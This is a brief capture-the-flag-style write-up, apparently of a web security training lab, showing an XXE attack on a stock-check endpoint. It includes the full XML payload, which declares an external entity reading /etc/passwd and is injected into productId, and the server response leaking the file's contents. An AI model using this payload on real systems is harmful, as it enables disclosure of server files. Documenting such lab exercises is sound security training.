

Exploiting XXE using external entities to retrieve files

1. This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.
2. In check stock request I found that the check was done via XML code.
3. I try to inject a customized entity to read “/etc/passwd” file and call it inside productId tag and it ran successfully.

The screenshot shows a browser developer tools Network tab with two panels: Request and Response.

Request:

```
Pretty Raw Hex Hackvator  
14 Sec-Fetch-Dest: empty  
15 Referer: https://0ac600660393bd9481e65c5e00fb00e9.web-security-academy.net/product?productId=1  
16 Accept-Encoding: gzip, deflate, br  
17 Accept-Language: en-US,en;q=0.9,ar;q=0.8,fr;q=0.7  
18 Priority: u=1, i  
19  
20 <?xml version="1.0" encoding="UTF-8"?>  
21   <!DOCTYPE x [  
22     <!ENTITY file SYSTEM "file:///etc/passwd">  
23   ]>  
24   <stockCheck>  
    <productId>  
      &file;  
    </productId>  
    <storeId>  
      1  
    </storeId>  
  </stockCheck>
```

Response:

```
Pretty Raw Hex Render Hackvator  
1 HTTP/2 400 Bad Request  
2 Content-Type: application/json; charset=utf-8  
3 X-Frame-Options: SAMEORIGIN  
4 Content-Length: 2338  
5  
6 "Invalid product ID: root:x:0:0:root:/root:/bin/bash  
7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
8 bin:x:2:2:bin:/bin:/usr/sbin/nologin  
9 sys:x:3:3:sys:/dev:/usr/sbin/nologin  
10 sync:x:4:65534:sync:/bin:/bin/sync  
11 games:x:5:60:games:/usr/games:/usr/sbin/nologin  
12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```



Exploiting XXE using external entities to retrieve files

[Back to lab description >](#)

LAB Solved



Congratulations, you solved the lab!

Share your skills! Continue learning >